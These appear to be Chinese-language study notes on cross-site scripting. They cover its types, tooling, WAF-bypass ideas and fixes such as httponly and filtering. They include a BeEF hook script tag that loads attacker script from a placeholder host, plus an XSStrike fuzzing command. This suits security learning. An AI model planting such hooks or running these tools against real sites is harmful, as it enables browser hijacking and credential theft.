XSS

原理

XSS的本质:如果网页对参数进行回显,传递的参数的的值可控,如果传递一些恶意的js前端代码,被浏览器执行。会造成攻击。即没有对文件显示过程进行过滤检测。

执行效果跟浏览器的版本有关。

分类

反射型

反射型XSS只是简单的把用户输入的数据“反射”给浏览器,特点为单击时触发,执行一次

存储型

存储型XSS是将输入的数据存入了数据库,每次访问这个页面都会被触发。例如留言板、评论区……

DOM型

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。

简单来说就是发生在前端,与后端不进行交互。

手法

XSS平台使用

可以通过一些线上的xss平台,发送对应的js代码到靶机,然后在平台可以查看一些信息。

XSS工具使用

beef

beef-xss

然后浏览器访问http://ip:3000/ui/panel

钩子:

<script src="http://<IP>:3000/hook.js"></script>

XSStrike-master

python xsstrike.py -u “http://127.0.0.1/xss/level1.php?name=" –fuzzer

XSS结合其他漏洞

绕过

代码绕过

xsslabs,不做重点。

http only

http only 开启之后无法获取cookie

浏览器未保存密码:需要xss产生登录地址,利用表单劫持,这种比较鸡肋。

浏览器保存账号密码:产生在后台的xss,存储型xss如留言,浏览器读取账号密码。

WAF拦截

标签语法替换

特殊符号干扰

提交方式更改

垃圾数据溢出

加密解密算法

结合其它漏洞绕过

修复

开启httponly,输入过滤,输出过滤等

PHP:http://www.zuimoge.com/212.html

JAVA:http://www.cnblogs.com/baixiansheng/p/9001522.html